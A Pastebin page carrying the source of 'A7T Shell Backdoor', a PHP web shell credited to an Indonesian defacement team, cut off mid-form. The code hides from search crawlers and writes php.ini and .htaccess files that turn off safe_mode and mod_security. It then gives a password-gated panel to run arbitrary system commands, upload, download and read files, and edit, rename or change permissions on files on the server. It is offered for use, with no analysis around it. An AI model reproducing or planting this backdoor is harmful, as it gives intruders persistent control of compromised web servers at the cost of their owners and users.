API tools faq
paste
Advertisement
alvienid

A7T Shell Backdoor

alvienid
Aug 26th, 2017
44
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.38 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. #################################################################################################
  4. #                   A7T Shell Backdoor                                                          #
  5. #                                                                                               #
  6. #                    Created : ./Ao7ext                                                         #
  7. #   Version : 0.1 beta                                                                          #
  8. #   Team    : GlowHat Cyber Clone                                                               #
  9. #   Recoded from : X48 Shell Backdoor                                                           #
  10. #   Date    : 23-8-2017                                                                         #
  11. #                    faceboook : https://web.facebook.com/GlowHat-Cyber-Clone-159442227936274/  #
  12. #################################################################################################
  13. #                                                                                               #
  14. #  Kami kreatif dan Seni tapi bukanlah lemah :)                                                 #
  15. #  Kami Defacer indonesia                                                                       #
  16. #  Kami salah satu dari orang penasihat IndoXploit dan D3C0d3r Team,Red White Spirit Team       #
  17. #  Kami sangat menghargai Defacer indonesia lain :)                                             #
  18. #  Kami bisa melakukan apapun                                                                   #
  19. #                                                                                               #
  20. #                    Terima kasih atas Pembuatan Shell Backdoor                                 #
  21. #                                                                                               #
  22. #################################################################################################
  23. session_start();
  24. error_reporting(0);
  25. set_time_limit(0);
  26. @set_magic_quotes_runtime(0);
  27. @clearstatcache();
  28. @ini_set('error_log',NULL);
  29. @ini_set('log_errors',0);
  30. @ini_set('max_execution_time',0);
  31. @ini_set('output_buffering',0);
  32. @ini_set('display_errors', 0);
  33. $auth_pass = "bc3f084783d373c4065653f09796b1a2"; // default: A7T
  34. $errorforbidden = $_SERVER['REQUEST_URI'];
  35. $color = "black";
  36. $default_action = 'FilesMan';
  37. $default_use_ajax = true;
  38. $default_charset = 'UTF-8';
  39. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  40.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  41.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  42.         header('HTTP/1.0 404 Not Found');
  43.         exit;
  44.     }
  45. }
  46.  
  47. function login_shell() {
  48. ?>
  49. <html><head>
  50. <html>
  51. <head>
  52. <link REL="SHORTCUT ICON" HREF="http://www.voa-islam.com/photos4/rojul/garudaluka-rle5aa.[1].jpg">
  53. <title>Login Shell</title>
  54. <style type="text/css">
  55. html {
  56.     margin: 20px auto;
  57.     background: #000000;
  58.     color: darkred;
  59.     text-align: center;
  60. }
  61. header {
  62.     color: darkred;
  63.     margin: 10px auto;
  64. }
  65. input[type=password] {
  66.     width: 250px;
  67.     height: 25px;
  68.     color: darkred;
  69.     background: black;
  70.     border: 1px dotted green;
  71.     padding: 5px;
  72.     margin-left: 20px;
  73.     text-align: center;
  74. }
  75. </style>
  76. </head>
  77. <center>
  78. <header>
  79.     <pre>
  80. __________________________
  81. < root@A7T:~# Why Seri0s? >
  82. --------------------------
  83.  \         ,        ,
  84.     \       /(        )`
  85.      \      \ \___   / |
  86.             /- _  `-/  '
  87.            (/\/ \ \   /\
  88.            / /   | `    \
  89.            O O   ) /    |
  90.            `-^--'`<     '
  91.           (_.)  _  )   /
  92.            `.___/`    /
  93.              `-----' /
  94. <----.     __ / __   \
  95. <----|====O)))==) \) /====
  96. <----'    `--' `.__,' \
  97.              |        |
  98.               \       /
  99.         ______( (_  / \______
  100.       ,'  ,-----'   |        \
  101.       `--{__________)        \/
  102.     </pre>
  103. </header>
  104. <form method="post">
  105. <input type="password" name="pass">
  106. </form>
  107. <html>
  108. <head>
  109. <link REL="SHORTCUT ICON" HREF="http://www.voa-islam.com/photos4/rojul/garudaluka-rle5aa.[1].jpg">
  110. <title>A7T Shell Backdoor</title>
  111. <meta name='author' content='./Ao7ext'>
  112. <meta charset="UTF-8">
  113. <style type='text/css'>
  114. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  115. html {
  116.     background: black;
  117.     color: #ffffff;
  118.     font-family: 'Ubuntu';
  119.     font-size: 13px;
  120.     width: 100%;
  121. }
  122. li {
  123.     display: inline;
  124.     margin: 5px;
  125.     padding: 5px;
  126. }
  127. table, th, td {
  128.     border-collapse:collapse;
  129.     font-family: Tahoma, Geneva, sans-serif;
  130.     background: transparent;
  131.     font-family: 'Ubuntu';
  132.     font-size: 13px;
  133. }
  134. .table_home, .th_home, .td_home {
  135.     border: 1px solid white;
  136. }
  137. th {
  138.     padding: 10px;
  139. }
  140. a {
  141.     color: #ffffff;
  142.     text-decoration: none;
  143. }
  144. a:hover {
  145.     color: darkred;
  146.     text-decoration: underline;
  147. }
  148. b {
  149.     color: darkred;
  150. }
  151. input[type=text], input[type=password],input[type=submit] {
  152.     background: transparent;
  153.     color: darkred;
  154.     border: 1px solid darkred;
  155.     margin: 5px auto;
  156.     padding-left: 5px;
  157.     font-family: 'Ubuntu';
  158.     font-size: 13px;
  159. }
  160. textarea {
  161.     border: 1px solid #ffffff;
  162.     width: 100%;
  163.     height: 400px;
  164.     padding-left: 5px;
  165.     margin: 10px auto;
  166.     resize: none;
  167.     background: transparent;
  168.     color: #ffffff;
  169.     font-family: 'Ubuntu';
  170.     font-size: 13px;
  171. }
  172. select {
  173.     width: 152px;
  174.     background: #000000;
  175.     color: darkred;
  176.     border: 1px solid #ffffff;
  177.     margin: 5px auto;
  178.     padding-left: 5px;
  179.     font-family: 'Ubuntu';
  180.     font-size: 13px;
  181. }
  182. option:hover {
  183.     background: black;
  184.     color: black;
  185. }
  186. </style>
  187. </head>
  188. <?php print $shooted; ?>
  189. <?php
  190. exit;
  191. }
  192. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  193.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  194.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  195.     else
  196.         login_shell();
  197. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  198.     @ob_clean();
  199.     $file = $_GET['file'];
  200.     header('Content-Description: File Transfer');
  201.     header('Content-Type: application/octet-stream');
  202.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  203.     header('Expires: 0');
  204.     header('Cache-Control: must-revalidate');
  205.     header('Pragma: public');
  206.     header('Content-Length: ' . filesize($file));
  207.     readfile($file);
  208.     exit;
  209. }
  210. ?>
  211. <?php
  212. if (file_exists("php.ini")){
  213. }else{
  214. $img = fopen('php.ini', 'w');
  215. $sec = "safe_mode = OFF
  216. disable_funtions = NONE";
  217. fwrite($img ,$sec);
  218. fclose($img);}
  219. if (file_exists(".htaccess")){
  220. }else{
  221. $img2 = fopen('.htaccess', 'w');
  222. $sec2 = "<IfModule mod_security.c>
  223.         SecFilterEngine Off
  224.         SecFilterScanPOST Off
  225.         </IfModule>";
  226. fwrite($img2 ,$sec2);
  227. fclose($img2);}
  228. $inids = @ini_get("disable_functions");
  229. $liatds = (!empty($ds)) ? "<font color='gold'>$inids</font>" : "<b><font color='green'>Safe</font></b>";
  230. if(get_magic_quotes_gpc()){
  231. foreach($_POST as $key=>$value){
  232. $_POST[$key] = stripslashes($value);
  233. }
  234. }
  235. echo '<!DOCTYPE HTML>
  236. <html>
  237. <head>
  238. <link REL="SHORTCUT ICON" HREF="http://www.voa-islam.com/photos4/rojul/garudaluka-rle5aa.[1].jpg">
  239. <link href="https://fonts.googleapis.com/css?family=Space+Mono" rel="stylesheet">
  240. <link href="" rel="stylesheet" type="text/css">
  241. <title>A7T Shell Backdoor</title>
  242. <style>
  243. body{
  244.     font-family: "Space Mono", monospace;
  245.        background-size: cover;
  246.     background-image: url("http://chaspikserial.ru/uploads/posts/1files/9354-yuru-yuri-wallpaper-1920x1080.png");
  247.     color:gold;
  248.     background-attachment:fixed;
  249.     background-repeat:no-repeat;
  250.     background-position:center
  251.     -webkit-background-size: 90% 100%;
  252. }
  253. #content tr:hover{
  254. background-color: darkred;
  255. text-shadow:0px 0px 10px #fff;
  256. }
  257. #content .first{
  258. background-color: darkred;
  259. }
  260. table{
  261. border: 1px #000000 dotted;
  262. }
  263. a{
  264. color:white;
  265. text-decoration: none;
  266. }
  267. a:hover{
  268. color:darkred;
  269. text-shadow:0px 0px 10px #ffffff;
  270. }
  271. input,select,textarea{
  272. border: 1px #000000 solid;
  273. -moz-border-radius: 5px;
  274. -webkit-border-radius:5px;
  275. border-radius:5px;
  276. }
  277. </style>
  278. </head>
  279. <body>
  280. <h1><center><font color="darkred">A7T Shell Backdoor</font></center></h1>
  281. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  282. <tr><td>';
  283. echo "Disable Functions: $liatds";
  284. echo '<br><font color="gold">Path :</font> ';
  285. if(isset($_GET['path'])){
  286. $path = $_GET['path'];
  287. }else{
  288. $path = getcwd();
  289. }
  290. $path = str_replace('\\','/',$path);
  291. $paths = explode('/',$path);
  292.  
  293. foreach($paths as $id=>$pat){
  294. if($pat == '' && $id == 0){
  295. $a = true;
  296. echo '<a href="?path=/">/</a>';
  297. continue;
  298. }
  299. if($pat == '') continue;
  300. echo '<a href="?path=';
  301. for($i=0;$i<=$id;$i++){
  302. echo "$paths[$i]";
  303. if($i != $id) echo "/";
  304. }
  305. echo '">'.$pat.'</a>/';
  306. }
  307. echo '</td></tr><tr><td>';
  308. if(isset($_FILES['file'])){
  309. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  310. echo '<font color="lime">Upload Berhasil</font><br />';
  311. }else{
  312. echo '<font color="red">Upload Gagal</font><br/>';
  313. }
  314. }
  315. echo '<form enctype="multipart/form-data" method="POST">
  316. <font color="gold">File Upload :</font> <input type="file" name="file" />
  317. <input type="submit" value="upload" />
  318. </form>';
  319. echo "<form method='post'>
  320. <font color='gold'>Command :</font>
  321. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
  322. </form>
  323. </td></tr>";
  324. if($_POST['execmd']) {
  325. echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:Aqua; background-color:darkred;'>".exe($_POST['cmd'])."</textarea></center>";
  326. }
  327. echo "<br></td></tr>";
  328. if(isset($_GET['filesrc'])){
  329. echo "<tr><td>Current File : ";
  330. echo $_GET['filesrc'];
  331. echo '</tr></td></table><br />';
  332. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  333. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  334. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  335. if($_POST['opt'] == 'chmod'){
  336. if(isset($_POST['perm'])){
  337. if(chmod($_POST['path'],$_POST['perm'])){
  338. echo '<font color="lime">Change Permission Success</font><br/>';
  339. }else{
  340. echo '<font color="red">Change Permission Failed</font><br />';
  341. }
  342. }
  343. echo '<form method="POST">
  344. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  345. <input type="hidden" name="path" value="'.$_POST['path'].'">
  346. <input type="hidden" name="opt" value="chmod">
  347. <input type="submit" value="Go" />
  348. </form>';
  349. }elseif($_POST['opt'] == 'rename'){
  350. if(isset($_POST['newname'])){
  351. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  352. echo '<font color="lime">Rename Successfully</font><br/>';
  353. }else{
  354. echo '<font color="red">Rename Failed</font><br />';
  355. }
  356. $_POST['name'] = $_POST['newname'];
  357. }
  358. echo '<form method="POST">
  359. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  360. <input type="hidden" name="path" value="'.$_POST['path'].'">
  361. <input type="hidden" name="opt" value="rename">
  362. <input type="submit" value="Go" />
  363. </form>';
  364. }elseif($_POST['opt'] == 'edit'){
  365. if(isset($_POST['src'])){
  366. $fp = fopen($_POST['path'],'w');
  367. if(fwrite($fp,$_POST['src'])){
  368. echo '<font color="lime">Successfully Edit File</font><br/>';
  369. }else{
  370. echo '<font color="red">Failed to Edit File</font><br/>';
  371. }
  372. fclose($fp);
  373. }
  374. echo '<form method="POST">
  375. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  376. <input type="hidden" name="path" value="'.$_POST['path'].'"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!